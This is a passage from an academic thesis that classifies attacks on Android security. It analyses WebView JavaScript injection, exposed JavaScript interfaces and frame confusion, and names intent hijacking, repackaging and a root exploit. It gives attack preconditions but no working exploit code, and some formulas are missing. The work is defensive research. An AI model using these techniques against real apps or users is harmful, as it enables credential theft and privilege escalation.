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1 Introduction 
1.1 Purpose 
The purpose of the present thesis is to classify, explain and exemplify, via proofs of concept, 
some of the different approaches through which the Android system security elements can be 
overridden, granting access to unauthorized resources. 
1.2 Motivation 
By definition, computer security on personal computer operating systems has historically 
focused on preventing unintentional access, modification or execution of the user’s resources. 
But, in a computer environment, it’s not always clear what “unintentional” implies. When 
hundreds of processes are in execution at a given time, accessing different computer resources, 
it’s impractical to expect the user to allow or disallow the behavior of each, on runtime. 
For that reason, different users and privileges were established, classifying the resources as 
accessible by the “administrator” or the “user”, and even defining different human and system 
users with different privileges for each resource. And even then, there have been breaches that 
allowed an attacker to escalate privileges. 
However, these attacks have to be very specific and directed to a group of users, since every 
user is expected to use a different set of applications, in different network connectivity states, 
with different patches or updates to their systems, etcetera. And, if the attacker tried to gather 
some private information, it would have to be even more directed, since the target data might 
be stored in different applications of file paths, and the target data might not even exist in the 
target system. All of this constitutes a very heterogeneous environment. 
With the introduction of the first mobile devices with an Internet connection, a new dimension 
of security was born. First of all, it was not only matter of protecting the user’s system, but also 
the user’s privacy, given that most of the smartphone users carry the device with them all day 
long, and these devices store and handle predictable information, such as text messages, 
phone calls and IMEI serial numbers, at the very least. 
Given the market dominance of two operating systems, Google Android and Apple iOs, the 
availability of application stores in both, and the precise definition of functionality per each 
version and each update, a malicious developer could have access to millions of people 
personal data. 
Nevertheless, in order to prevent this, each system provides a different way to restrict 
application behavior: 
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 Apple iOs / App Store: Manual verification of each application, certifying their behavior 
is as described and expected 
 Google Android / Play Store: Permissions based system. The developer only has 
programmatic access to the resources he declares, and the user is notified at 
installation time of these permissions. 
For iOs, the main drawbacks are, firstly, involving a lengthy process of verification and, on the 
other hand, it allows Apple to reject applications on his sole discretion, even if no risk is 
involved. For Android, the main risk resides in the users, since the user must be aware of what 
each permission involves, and be able to evaluate the applicability in the application (which 
requires computer software knowledge), as well as the risk that such permission involves. 
1.3 Scope 
The scope of the present thesis will comprehend the following stages, from definition to data 
analysis: 
 Identifying, listing and defining a set of different possible attacks to the Android system 
security layers. 
 Determining the feasibility and prerequisites per each defined attack. 
 Defining the success boundaries, per each. 
 Implementing proofs of concept able to reach those boundaries. 
 Collection and analysis of results, determining the estimated potential risk. 
Since the basis of the thesis consists of exploiting security flaws, feasibility will often depend on 
a complex set of factors, such as software versions, type of hardware, connectivity, etc. Thus, 
an attack can be considered feasible if there's at least one way to be reproduced - the 
minimum required environment will be explained for each different attack. 
Success boundaries are defined as the minimum set of collectable evidence, expected to be the 
outcome of a favorable attack. Therefore, it stands for the individual metric that determines 
success or failure of a single attack. 
A proof of concept will be the implementation of an attack, able to achieve the success 
boundaries from the environment defined in the feasibility stage. 
Estimated potential risk will be defined as a compound of metrics, such as sensitivity of 
reached data or device, denial of service, data tampering risks, reversibility, and reproducibility, 
amongst others. Since not all of these metrics are objective values, they will be weighed 
accordingly and explained separately in its computation. 
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1.4 Structure of this document 
This thesis has been divided into different sections, each section describing a different part of 
the development process, in an ordered fashion: 
 The second chapter, the “State of the art”, refers to the current level of development of 
mobile devices security, centered on Android system and its particularities, comparing 
it with other mobile device operating systems, and their own security approaches. 
 “Analysis”, the third chapter, exposes the first phase of the development, where high-
level specifications are defined. The complete set of attacks to be performed are 
defined here, gathering previously published research. The feasibility and success 
boundaries are exposed, per each attack, defining the minimum required environment 
and interactions required for the design. The estimated risk metrics will be explained 
here. 
 “Design”, the fourth chapter, takes the output from the analysis phase, exposing how 
the attacks could be launched, as well as formal specifications for each specific attack. 
 “Implementation”, the fifth chapter, shows the actual user experience of each attack, 
after being implemented to provide a visual understanding of the exposed security 
flaw. 
 The sixth chapter, “Risk Assessment”, computes, compiles and justifies the metrics 
exposed in the analysis phase, per each attack, stating in which degree defined success 
boundaries constitute a risk to the user. 
Additionally: 
  “Appendix A: Replication” explains how to replicate the obtained results, from the 
developed source code. 
  “Appendix B: Project Management” includes the estimated budget for this project, 
compiling each cost related to the development of this thesis. 
Please also note that the references mentioned in the text will be mentioned at the last pages 
of the document. 
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2 State of the art 
2.1.1 The permissions system 
The main objective of the permissions system is to delegate the security prevention on the final 
user, providing a way to know the extent of the consequences in case the installed application 
turns out to be malicious. 
This way, the user has the following information to decide whether or not to install an 
application: 
 Advertised permissions (what the application is allowed to perform) 
 Publisher reputation: 
o Rating of the current application on the Play Store (unavailable for the firsts 
installs) 
o History of published applications 
This can be somehow analogous to the web navigation – e.g. a user knows that he’s mostly safe 
while browsing through pages on the google.com domain. However, he also browses safely 
with an updated browser and antivirus, along the rest of the WWW. But, whenever he 
encounters Java plugins, PDF files or executable files, he knows that he must trust the publisher 
before continuing. 
Of course, the latter only happens to advanced users, similarly to the Android system – a 
reduced group of users with enough IT semantics knowledge. 
2.1.1.1 User awareness 
There’s a leap between what the user thinks the permission implies, and what the permission 
actually allows the app to perform. 
Additionally, according to “Android Permissions: User Attention, Comprehension and 
Behavior1”, 20% of the users don’t mind the required permissions when installing an 
application. 
This makes the permission system a resource effective only for advanced users, since the 
supposed features of an application might convince a user into installing an application with 
risky features shown at the permissions manifest. 
2.1.1.2 The intercommunication hole 
An additional issue with the permissions system is that the intercommunication system, based 
on the Intents2, doesn’t establish a limit on which applications can share information, 
according to the permissions granted to each. 
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The implication of that lack of control is that an application A, without supposed access to a 
certain feature or information could actually exchange intents with an application B with the 
necessary permission granted, effectively triggering an action that shouldn’t be under the 
application scope. 
This is not to be confused with the permissions system implemented on the intents - these are 
implemented for the developer to limit access to his application, voluntarily. However, an 
attacker would publish the application B with no permissions required, allowing access to his 
same application A without the user knowledge. 
The previous example can be viewed on the following diagram: 
 
 1 – request intent 
  2 – feature access 
 
  
 3 – result intent 
FIGURE 1: INTENTS PERMISSION BREACH 
2.1.1.3 WebView and uninformed users 
Of the permissions included in Android, the author considers it to be lacking a permission 
related to the WebView usage. This component is a widget that can be used for showing a 
website inside of an application, controlling its contents and browsing flow. 
Many applications rely on this component for the sake of cross platform development, sharing 
the same codebase in HTML and JavaScript3. However, it can also be used for malicious 
purposes. 
A regular user, when shown a website on the phone screen, is likely to assume that its content 
can be viewed by his eyes only, and he can mostly be unsuspecting that the host application 
can actually inject JavaScript to read/modify the contents or perform actions on his behalf. 
Clickjacking, which consists in generating traffic or user activity at certain websites, especially 
social networks, such as Facebook or Twitter, and banking fraud are activities that can benefit 
from this component. 
The reason a permission controlling the usage of this component isn’t added to the Android 
system might be, in the author’s opinion, the astonishing number of applications that rely on 
this component, around 86% as of 2011, as exposed at “Attacks on WebView in the Android 
System”4, resulting in users not paying attention to the permission – similarly to what 
happened with the User Access Control in Windows Vista5. 
Application 
A 
Application 
B 
 
Feature 
Permission 
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2.1.2 The root system 
Android runs on top of a Linux kernel, and therefore shares its prominent security system, the 
root, or superuser. 
An abstraction level was placed on top of the kernel, providing access to every system 
functionality (that was decided to be made available) through the regular SDK, using the Java-
based API. 
This is meant to ensure that the only components that hold root permission are system 
services and applications, on which the applications effectively delegate when accessing a 
sensitive resource. 
However, it’s possible to attain root, either by flashing custom versions of Android to the 
device, or by the exploitation of system vulnerabilities, a practice that is commonly named as 
“rooting” – very common around the Android power users community. 
A “rooted” device usually includes an application that allows the user to define which 
applications, and when, can attain root permission. The reason for this is that a root application 
can perform any action on the system, accessing every single resource available. 
Therefore, it completely overrides the preexistent permissions system, exposing the system to 
full-fledged attacks of every kind that could originate with the install of a single application. 
2.1.3 Other security mechanisms 
2.1.3.1 ASLR 
On the most recent Android version, at the time of writing this, Jelly Bean – 4.1, has introduced 
address space layout randomization6 (or ASLR). Before, application’s memory space followed a 
consistent address system that allowed an attacker to predict where and in which order data 
was loaded in memory. This eased the exploitation of buffer overflow and other similar 
vulnerabilities. 
With the introduction of ASLR, many key addresses are randomized, preventing such attacks. 
This also introduces Position Independent Executables (PIE), which are binaries which memory 
references are independent, further extending the ASLR security benefits. 
2.1.3.2 Lint 
Mainly used to provide general tips to developers, avoiding potential bugs, Lint is included in 
the typical Android SDK package. It runs integrated with Eclipse, providing real time advice 
when programming, highlighting those lines of code that might introduce bugs on an 
application. 
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The reason this tool is included as a security mechanism is because, among the bugs it detects, 
there are security issues included – e.g. activating JavaScript on a WebView will inform the 
developer about the possible cross-site scripting that could take place thanks to this activation. 
2.1.3.3 Signed applications 
Every application, before its published, must be signed7 with a public key system, namely RSA, 
whose keys shall be kept by the developer, since every update to the same application must be 
signed with the same key. 
This prevents an unauthorized developer to replace a preexistent application, just using the 
same namespace (package name). 
2.2 Other platforms security approach 
2.2.1 Apple – iOS8 
Apple follows a proactive approach to security, having every released application reviewed by 
its team of analysts, before it can be published on Apple’s App Store. This is in substitution of 
any kind of permissions system, granting regular users certain degree of security, even with no 
IT knowledge. 
Additionally, each device includes a secure boot chain, checking the validity of each loaded 
component on the system boot (bootloader, kernel and firmware), and a system for application 
signatures, which differs from Android in that each certificate is issued by Apple (even 
preventing a developer to test an application on his own phone, without such certificate). 
2.2.2 Microsoft - Windows Phone9 
Similarly to iOS, Windows Phone also relies on a secure boot chain to ensure that the first 
loaded components are trusted. 
On the other hand, it relies on a permissions based security model, for applications published 
on Windows’ Marketplace – these permissions are named “capabilities” in this case. 
2.2.3 RIM – BlackBerry10 
In this case, security is completely based on the user knowledge, since the permission system 
used in BlackBerry devices relies on which capabilities the user authorizes to use in each 
specific application. 
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These capabilities are of three different types: 
 Connections: Controlling USB, phone, location, WiFi, etc. 
 Interactions: Cross applications communications, settings, media, etc. 
 User data: E-mail, files, etc. 
There’s no code signing, and there isn’t any centralized application trust system (only the user 
can define which publishers to trust). 
2.2.4 Nokia - Symbian11 
Nokia follows a hybrid approach with his mobile system – on one hand, it allows the user to set 
certain capabilities to be granted, for each application, while keeping some of the permissions 
off-limits for the developers, unless they obtain a “Symbian Signed” certificate, which involves 
testing by Nokia’s team of analysts. 
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2.3 Socio-economic context 
2.3.1 Attacks motivation 
The growing interest in mobile devices security originates in the amount of personal 
information contained in these devices, along with an increased connectivity. Phone calls, text 
messages, banking information, along with many other types of sensitive information are 
present on most of the smartphones. 
The mobile applications market recent explosion (in both users and developers) has made huge 
amounts of data of interest converge with a myriad of applications from many different 
sources. These sources have different interests on the application market, but it mainly follows 
two models: 
 Paid applications: Those which provide a certain functionality that the user is willing to 
pay for. 
 Free applications: Applications that don’t return a direct profit to the developer but 
create a different value 
On the latter, it can create value for the developer through: 
 Paid advertising: Obtaining revenue from showing ads on the application. 
 In-app payments: The application can provide further functionality through paid 
extensions. 
 Self-advertising: The application consists mostly on an advertisement itself for a certain 
product or service. 
 Companion app: The application requires the user to buy a certain product in order to 
be actually useful. 
When an application doesn’t fall in any of the previous categories, there are other ways for a 
developer to obtain revenue. That’s the case of 
 Personal information collection 
 Unauthorized interactions 
2.3.1.1 Information collection 
Information collection is a legal activity as long as the user accepts it in the end-user license 
agreement, sometimes just by using the application. In some cases, e-mail addresses are 
collected and sent to a server for use or sale as spamming target. According to McAfee12, as of 
June 2011, prices paid for e-mail books were (in USD $): 
Country E-mail bulk & prices 
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Russia 400,000 addresses in St. Petersburg: $25 
1,000,000 (entire country): $25 
3,000,000: $50 
5,000,000: $100 
8,000,000: $200 
United States 1,000,000: $25 
3,000,000: $50 
5,000,000: $100 
10,000,000: $300 
Ukraine 2,000,000: $40 
Germany 1,000,000: $25 
3,000,000: $50 
5,000,000: $100 
8,000,000: $200 
Turkey 1,000,000: $50 
Portugal 150,000: $25 
Australia 1,000,000: $25 
3,000,000: $50 
5,000,000: $100 
England 1,500,000: $100 
TABLE 1: E-MAIL BLACK MARKET PRICES, JUNE 2011 
Similarly, there’s an analogous market for IMEI numbers collection, which are in turn used for 
counterfeiting and reprogramming stolen phones, or even insurance fraud (e.g. insurance is 
signed for a specific IMEI, being reported as stolen days later, resulting in net profit for the 
scammer, and a locked device for the legitimate owner). 
Other types of collected information might be used for advertisement targeting, or even 
espionage, when directed to a specific set of users (this includes from location tracking to bank 
login information collection). 
2.3.1.2 Unauthorized interactions 
These might include: 
 Premium numbers SMS sending / phone calling, obtaining revenue from the called 
number, either as the actual subscriber, or sharing profits with him. 
 Traffic inflation / Clickjacking, redirecting the user to certain websites, or generating 
traffic to them without the user knowledge. 
 Distributed denial of service (DDoS), using a great number of devices at the same time 
to perform requests to a certain host, disturbing regular operation. 
 Spam sending, using the devices as either servers, implemented with their own 
sockets, or making use of the user  e-mail account. 
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2.3.2 Interested parties 
They might include: 
 Public and private organizations, willing to track activities of people of special interest, 
ranging from public interest (police, security services, etc.) to industrial espionage. 
 Individuals, either trying to directly obtain revenue through the techniques exposed 
before, or just for the sake of entertainment/espionage/blackmailing.  
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3 Analysis 
3.1 Defining the vulnerability concept 
A vulnerability is a bug on the software that compromises information and/or allows malicious 
behavior through its exploitation. As such, it may be originated at the software design (where 
vulnerabilities may arise as a result of a design trade-off, not necessarily negligent), or at the 
implementation phase (resulting from the specific implementation, and are usually 
programming bugs). 
This way, a typology can be defined on vulnerabilities, depending on the source: 
Design trade-off 
Behavior that is explicitly allowed by the design model, since the returned gain in 
features or flexibility justifies it. 
Design error 
Behavior that should be prevented by the software design, but it is either inherently or 
implicitly allowed, since there’s no gain from its existence. It can also result from a 
behavior that was to be allowed in the past, but it hasn’t been updated to new 
standards. 
Implementation bug:  
Based on a correct and secure design:  
 Resulting source code doesn’t follow the given specifications. 
 Programmer introduces a programming error. 
 Or other piece of code on which the piece of code is dependent, such as 
libraries, is faulty on any of the typologies. 
E.g. an Android permission that allows a dangerous behavior, not covering it in its scope, might 
qualify as a design trade-off, or as a design error, depending if it’s explicit or not. A dangerous 
behavior explicitly or implicitly disallowed by the software design, but existent in its 
implementation, would rely on an implementation bug. 
Exploitation, making use of a vulnerability (namely attack, or exploit) takes place when the 
behavior, that shouldn’t be allowed according to the formal specifications or design, takes 
place. 
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3.2 Risk evaluation 
Each vulnerability poses a different threat to the users, depending on a whole set of factors, 
such as the system versions affected and their current user distribution, the required 
permissions, the impact of the attack and the ease of reproducibility, amongst many others. 
3.2.1 Potential Risk Matrix 
In many fields13, when a risk is to be evaluated, a matrix that confronts likelihood versus impact 
is used, providing a very visual impression of the threat, such as the following: 
High 3 6 9 
Medium 2 4 6 
Low 1 2 3 
Likelihood 
 
Impact 
Low Medium High 
TABLE 2: POTENTIAL RISK MATRIX. 
As it can be seen from the table above, the risk rating is assigned by multiplication of its 
indexes. 
The drawbacks of using such matrix are, first of all, the subjectivity of the inputs, since there’s 
no clear line between a low and a medium likelihood; and on the other hand, the imprecision 
found when trying to compare different threats, given that the output of the matrix is quite 
limited. 
Therefore, and to be able to more clearly depict a risk (although subjectivity is difficult to avoid 
when performing an evaluation), and to ease the comparison between the different 
vulnerabilities, the need for a more objective formula was envisioned. 
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3.2.2 Assessed Potential Risk formula 
In order to partially address the subjectivity involved in a risk evaluation, it was decided to 
determine a qualitative input matrix, where every metric could be answered with an 
affirmative or negative answer, eliminating any vagueness. 
This input system is applied both to the likelihood and the impact, and their answers 
equivalence are boolean: “yes” converts to a “1”, and “no” converts to a “0”. 
When every question is answered, the inputs are weighed (subjectively, or using previous 
research data, in its case), to yield a compound “likelihood” metric and a compound “impact” 
metric, which will be applied in a function that rates the risk linearly between 0 and 1. 
In detail 
The defined input questions include the following. Yielding the “impact” metric: 
 Attack possible consequences include… 
o                   
Possible denial of service? 
o                
Possible sensible data accessed? 
o                
Possible sensible data modified? 
o                   
Plausible irreversibility of effects? 
Yielding the “likelihood” metric: 
                              
Is version Android X.Y.Z affected? (for each different released Android version) 
              
Does it require a regular (or related to the expected behavior) permission? 
                     
Does it require a special permission (that identifies itself as dangerous)? 
                   
Does it require previous user/system knowledge? Meaning: is the possible 
attack better defined as a directed attack? 
                   
Does it require specific user interaction? 
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The following calculations are performed on the retrieved input: 
                                                                                
                                                                            
           stands for the impact weight subjectively assigned to a positive answer for a given question, where      
               
 
                                                                      
The                            is the weight used, obtained from Google Developer 
[http://developer.android.com/about/dashboards/index.html]. 
 
 
                                                                                    
             and                     stands for the probability of a user not installing the application due to a 
common and a special permission, respectively. It’s estimated as 1%  and 20%, as exposed in 
[http://www.guanotronic.com/~serge/papers/soups12-android.pdf] 
 
                      
                                       
                                        
           stands for the reproducibility weight subjectively assigned to a positive answer for a given question, 
where                , since given the amount of Android users, it’s likely that at least one user performs a rare 
interaction or has a very specific system, statistically. 
 
                                                                   
The irreproducibilityRatio and the denialRatio ratios are inverted, since they affect negatively in the likelihood. 
 
With these values, we are able to compute the Asessed Potential Risk, with a calculation similar 
to the one applied on the previous table, but this time using real values instead of discrete, 
which is more convenient for a precise comparison among threats.  
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This formula yields the following plot of risk comparable to the previous table, for a more visual 
approach (one horizontal represents likelihood while the other represents impact; the vertical 
representing the assessed risk):   
0 
1 1 
0.5 
0.5 
1 
0.5 
 
FIGURE 2: ASSESSED POTENTIAL RISK (CREATED USING GOOGLE PLOT) 
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3.3 Required tools definition 
Attending to the main goals of the present project, as defined at this document scope, a set of 
tools is defined according to the following requirements: 
The set of tools shall provide, for Android applications, from source code: 
T1. Compiling 
T2. Deploying 
T3. Executing 
T4. Debugging 
From deployed APKs (as available as public release). 
T5. Disassembling 
T6. Analyzing (disassembled code) 
T7. Reassembling 
Additionally, a set of tools for shall be used for documentation purposes: 
T8. Implementation design (UML) 
T9. Code documentation (Javadoc) 
3.3.1  General Tools  
3.3.1.1 Development 
JDK 
The Java Development Kit is required for Android applications compiling, since Java is the 
language Android is based upon. It provides the necessary “javac” tool, meant to precompile 
Java source code into bytecode. [] 
Used for: T1 and T9 
Android SDK 
The software development kit for Android systems, provided by Google, is the basic set of tools 
used to debug, build and deploy Android applications 
[http://developer.android.com/sdk/exploring.html]. Specifically, the following shall be used: 
 Android Debug Bridge (adb) 
Command line tool that enables communication with an Android-running device or 
emulator, providing remote shell access. 
 Dalvik Debug Monitor Server (DDMS) 
Remote control tool, that graphically simplifies applications debug, though Logcat (log 
system), process monitoring, and spoofing system states (location, SMS…). 
 Emulator 
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Combined with the AVD Manager, it allows running Android Virtual Devices (AVDs) on a 
host system, without physical presence of an Android device. It emulates systems with 
ARM, x86 and MIPS architecture. 
 Lint 
It’s a static code analysis tool, acting as developer advice to prevent bugs while 
developing. It checks known sources of potential bugs in correctness, performance, 
usability, accessibility, internationalization and, most importantly, security. If this tool 
doesn’t provide warnings on a certain security flaw, that failure point could convert 
into security vulnerabilities when the application is deployed. 
In order to check the impact of each vulnerability, two different versions of the SDK are used: 
 API level 4 – equivalent to Android 1.6 – as the minimum version publicly and officially 
released (Android 1.0 and 1.5 were previous, but used mostly internally). 
 API level 14 – equivalent to Android 4.0 – as the it’s the minimum version new devices 
are typically released with, at the time of making this decision. [] 
Used for: T1, T2, T3, T4 and T7 
Android NDK 
This software development kit is meant to develop native applications for Android. Every 
application must be defined with the SDK, however, it might use native libraries, linked through 
JNI (Java Native Interface). This kit provides the basic compilation tools for MIPS, ARM and x86 
platforms. 
Its tools are equivalent to those provided with GCC, the GNU Compiler Collection [gcc.gnu.org], 
providing compilation, optimization and debug. 
Analogously to the SDK, API level 4 and 14 are used as reference versions for this tool. 
Used for: T1  
Eclipse IDE 
This integrated development environment, based in Java, provides a graphical way to develop, 
deploy and debug Java applications. Its flexible design allow extensions to be added, providing 
additional functionality. 
Among the extensions available for this IDE, we will specifically use: 
 Android Development Tools 
Interface to Android SDK, allowing to run the most used commands from a graphical 
interface, without exiting the IDE. It also runs Lint on the source code, automatically, 
highlighting suggested changes to the code. 
 Object Aid 
UML automation tool, creating UML class diagrams from the written source code. 
Useful to verify adherence to the envisioned design. 
Used for: T1, T2, T3, T4 and T9 
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Android physical devices 
To ease testing, real devices running Android are also used for testing. The used versions 
include 1.6 and 4.0 (analogously to the used versions at the SDK), both with ARM architecture, 
and without root privileges. 
Used for: T3 
APK Tool  
This kit automates application disassembling, from the publicly released APKs, regardless of the 
use of obfuscation programs such as ProGuard. It decompresses the container, obtains the 
smali bytecode from the .dex classes and parses the XML files. 
As result, it yields readable, modifiable and recompilable code – which this same kit can 
convert back into a deployable APK. 
Used for: T5 and T7 
APK MultiTool 
Built on top of the APK Tool, it further automatizes application disassembling, adding a 
graphical console, and enabling working with multiple projects. 
Used for: T5 and T7 
APK Analyzer 
Based on APK Tool, this Java application disassembles, parses into pseudo-Java code, and 
graphs any given APK. 
As an additional feature, it provides automatic modification of the APK, exclusively for logging 
purposes (the payloads are set and unmodifiable, and none of the included insert malicious 
content). 
Used for: T6 
DIA 
A versatile diagram editor, with multiple embedded designs, including every type of UML 
diagram. 
Used for: T8 
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3.4 Defining the vulnerabilities to be assessed 
3.4.1 Typologies 
Defining the vulnerabilities typologies to be analyzed was driven by three factors, so that the 
purpose of the document was fulfilled, attacking different layers of the system security, as 
opposed to exposing only one with different exploitations of the same flaw. These 
requirements were established as: 
 At least one of them should be of wide spread availability in the Android applications 
available on the Play Store, to demonstrate the impact of a security flaw. 
 At least one of them should allow an attacker to override the permissions system, to 
execute code that shouldn’t be invoked with the permissions awarded to his 
applications, demonstrating under which circumstances the Android main security tool 
isn’t enforced. 
 At least one of them should allow an attacker to execute code in superuser/root mode. 
For this matter two papers and one published exploitation were selected as guidelines to 
uncover the vulnerabilities: 
“Attacks on WebView in the Android System”14 explains how the WebView widget is insecure 
and prone to be exploited by an attacker on both sides of the system, both from a web page 
with JavaScript payload (or from an external iframe on that page), and from the application 
perspective, deceiving an user into entering input that can be captured and modified. 
According to the same paper: “86% of the top 20 most down-loaded apps in 10 diverse 
categories use WebView”, so it fulfilled the first requirement. Additionally, it allows code 
injection from an external web page, fulfilling also the third requirement. 
“Analyzing Inter-Application Communication in Android”15 is based on the premise that the 
intent system implemented in Android allows the communication between applications with 
different assigned permissions, thus allowing a non-privileged application to invoke code 
without the required permission, aside from issues with unsafe practices that aren’t mentioned 
at Android API, exposing the user resources. Therefore, this fulfills at least the second 
requirement. 
“Rage Against the Cage”16 exposes a method of acquiring superuser level on a user level 
application, through the exploitation of a known bug at the ADB terminal, by the repeated fork 
of a process, reaching the limit of processes, and the restart of the terminal. 
Lastly, there’s a different type of attack, “repackaging”, which consists in locally modifying 
already published applications, to introduce new behavior, directly compromise user 
information, or to create a backdoor though the reversed engineering application. 
According to this, the vulnerabilities will be classified according to the area of application: 
 “WebView” vulnerability in the case of vulnerabilities whose flawed component (the 
one that makes the attack possible) is a WebView widget. 
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 “Intercommunication” vulnerability in the case of vulnerabilities exploited by the 
means of intents of any type. 
 “Privilege escalation” vulnerability in the case of attacks which allows a user 
application to attain root/superuser privileges. 
 “Reverse engineering” vulnerability, when modifying already published applications. 
More precisely, each type will include the following types of attack, classified according to the 
vulnerable component of the exploit: 
Typology Attack type Description 
WebView 
Sandbox Holes 
Vulnerabilities due to application code interfaced 
to the web page script 
Frame Confusion 
Vulnerabilities due to the breach of the same-
origin policy in the web page, allowing the code 
from pages in different domains to interact 
JavaScript Injection 
Vulnerabilities due to the injection of JavaScript 
code to the page 
Event Sniffing and 
Hijacking 
Vulnerabilities due to the interaction with the 
browser events 
Intercommunication 
Broadcast Theft 
Vulnerabilities due to the unexpected 
interception of a broadcast intent 
Activity Hijacking 
Vulnerabilities due to the execution of an 
alternate activity in place of the legitimate 
Service Hijacking 
Vulnerabilities due to the execution of an 
alternate service in place of the one that the 
intent was intended for 
Malicious 
Broadcast Injection 
Vulnerabilities due to the explicit call to a 
broadcast receiver that doesn’t check the origin 
of a message 
Malicious Activity 
Launch 
Vulnerabilities due to the launch of an activity 
through an intent with a payload that is 
expected to cause certain behavior 
Malicious Service 
Launch 
Vulnerabilities due to the launch of a service 
through an intent with a payload that is 
expected to cause certain behavior 
Privilege escalation 
Rage Against the 
Cage 
Exploitation of an ADB bug, resulting in 
acquiring superuser on a terminal 
Reverse engineering Repackaging 
Disassembling of published installable files, 
APKs, modifying its reversed engineered code, 
and reassembling it into a new APK. 
TABLE 3: TYPOLOGIES AND TYPES OF ATTACKS 
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3.5 Analyzing each attack 
3.5.1 WebView typology 
3.5.1.1 JavaScript Injection 
Overview 
The WebView component is not only a view where a webpage can be shown, parsing its HTML 
and interpreting its JavaScript, but it also allows the application developer to interact with its 
content. A way to achieve this, is to load javascript commands via the loadUrl() method, 
passing a “javascript:[url]” as argument URL, with one or more JavaScript lines of code, 
delimited by “;”. 
Potential legitimate uses of this functionality are to interact with the page scripting for portable 
web applications (meant to be run on different mobile devices), or to adapt the elements of 
the page to the device screen size. 
However, this feature is not restricted at all, being possible to inject code to completely modify 
the content of a page, deceiving the user into interact in a certain way, or providing a way to 
redirect credentials information to a server under the attackers control. 
Minimum involved Components 
On the vulnerable application: 
1. Activity that loads: 
a. WebView view 
b. Object (any object with at least one public function) 
On the web server: 
2. HTML page (or resource that generates one) 
Feasability/Preconditions 
On the vulnerable application: 
1. android.permission.INTERNET permission is defined in the application manifest. 
2. The system has Internet connectivity. 
3. The application has been launched (Activity [component 1.],  is running), and its code 
executes on the target WebView: 
a. setJavaScriptEnabled(true) 
b. loadUrl(“javascript:[scriptingPayload]”)  
On the shown webpage 
4. The scriptingPayload script is evaluated on the shown page context => Success 
boundary 
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Success boundaries 
When the script is evaluated in the shown page context, the attack is considered to be 
successful, modifying programmatically the webpage content or behavior. 
Why is this a vulnerability? 
The evaluation of input script through “javascript:…” URLs isn’t considered a vulnerability itself 
– in fact, most of the widely used web browsers’ engines allow this behavior. However, that 
kind of script execution is meant to allow the user manual input. 
In this case, the execution of the script happens programmatically, while the user isn’t notified 
of the execution by the application or by the permissions system. 
This allows the creation of malicious applications, which are able to deceive the user into 
entering his credentials, or to generate fake user interaction on webpages.  
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3.5.1.2 Sandbox Holes 
Overview 
In this attack, an application with a WebView loads a webpage on it, being this legitimate 
webpage altered at one or many points before it reaches the destination, including an iframe 
or injected script inside of the original webpage. 
This modification may happen at the server, by the legit admin of the server or a third party 
with access to the resource; it could take place through DNS hijacking 
[http://www.securitysupervisor.com/security-q-a/network-security/273-what-is-dns-hijacking] 
when connected to a LAN network under the control of the attacker, resolving the URL to the 
malicious content; among many other sophisticated methods. 
Additionally, as it’s obvious, in order to interface code to the WebView JavaScript, it is required 
to activate scripting on the page, so in more sophisticated attacks, the appearance of the 
iframe or injected script could be originated by yet another attack, through cross-site scripting 
[https://www.owasp.org/index.php/XSS]. 
Minimum involved Components 
On the vulnerable application: 
1. Activity that loads: 
a. WebView view 
b. Object (any object with at least one public function) 
On the web server:  
2. HTML page (or resource that generates one), and among its elements: 
a. JavaScript script 
Feasability/Preconditions 
On the vulnerable application: 
5. android.permission.INTERNET permission is defined in the application manifest. 
6. The system has Internet connectivity. 
7. The application has been launched (Activity [component 1.],  is running), and its code 
executes: 
a. setJavaScriptEnabled(true) 
b. addJavaScriptInterface(Object [component 1.b.], String ifaceName), 
interfacing the object to the webview. 
On the web page: 
8. The script [component 2.a] executes the code contained at the interfaced object, 
calling ifaceName.[function] 
On the vulnerable application: 
9. The Android method is executed => Success boundary 
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User interaction: 
1. Negligible. Launches the application. 
Specific system requirements (version, additional software…): 
1. None. 
o Components available from API 1. 
o Components not deprecated. 
Success boundaries  
If the script executes successfully the code contained at the interface component, even if the 
script comes from a different domain (could be contained in an iframe), the attack has been 
successful. 
Why is this a vulnerability? 
Android methods (and potentially system services) are exposed to a webpage, without 
checking if its content is legitimate. 
This functionality is meant to enable rich web applications, with native functionality on devices 
which provides it, while allowing developers to maintain just one code base in JavaScript (such 
as DroidGap [] does). 
However, the shown webpage could include malicious scripts meant to alter user data, or 
access sensitive information, when that web source has been altered. 
  
ANALYSIS 
 
38 
3.5.1.3 Frame Confusion 
Overview 
Android methods, when interfaced and called from JavaScript on a WebView, are called 
asynchronously – this is: 
1. The interfaced method is called, returning void. The execution flow continues on the 
script. 
2. The Android method returns a result, via callback: calling a JavaScript function, 
invoking loadUrl(“javascript:callback(result)”). 
As exposed on the previous vulnerability, it’s possible to add a JavaScript interface that allows 
the script inside of a webpage to access Android code methods, regardless of the origin of the 
call (either the host page, of an embedded frame). The issue would be of limited extent, if the 
callback for a given call were executed on the calling frame. 
However, the loadUrl() method is always called on the parent frame, so there’s no way to call a 
callback function on an embedded frame. 
This would provide 2 different attack models: 
2. A malicious iframe is hosted on the legitimate host web page. The iframe script 
executes an interfaced method, which affects the parent page, through the method 
callback. 
o This would require an injection or modification on the legitimate webpage. 
3. A malicious host page loads the legitimate web in an iframe. Any time a method is 
legitimately called, the malicious host page receives the result instead, through the 
method callback. 
o Requiring that the target webpage address can be replaced (i.e. through local 
DNS modification). 
o Requiring that the target webpage doesn’t prevent being run inside of a frame. 
Minimum involved Components 
On the vulnerable application: 
1. Activity that loads: 
a. WebView view 
b. Object (any object with at least one public function) 
On the web server: 
2. HTML page (or resource that generates one), and among its elements: 
a. JavaScript script 
b. Iframe element (its contents would typically be in a different domain), with a 
content that includes, among its elements: 
i. JavaScript script 
Feasability/Preconditions 
On the vulnerable application: 
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1. android.permission.INTERNET permission is defined in the application manifest. 
2. The system has Internet connectivity. 
3. The application has been launched (Activity [component 1.],  is running), and its code 
executes: 
a. setJavaScriptEnabled(true) 
b. addJavaScriptInterface(Object [component 1.b.], String ifaceName), 
interfacing the object to the webview. 
On the web page: 
4. The iframe script [component 2.i] executes the code contained at the interfaced 
object, calling ifaceName.[function]  
On the vulnerable application: 
5. The method called in the Object [component 1.b.], is executed 
a. At the end of this method, loadUrl(“javascript:callback(result)”) is called. 
On the web page: 
6. The callback is executed on the parent frame => Success boundary 
User interaction: 
1. Negligible. Launches the application. 
Specific system requirements (version, additional software…): 
4. None. 
o Components available from API 1. 
o Components not deprecated. 
Success boundaries 
If the callback for an interfaced method is called on a different context than the calling one (the 
iframe calls the function, and the host receives the result via callback), the attack has been 
successful. 
Why is this a vulnerability? 
The content of a hosted iframe can be located at the same domain, or at a different one. In 
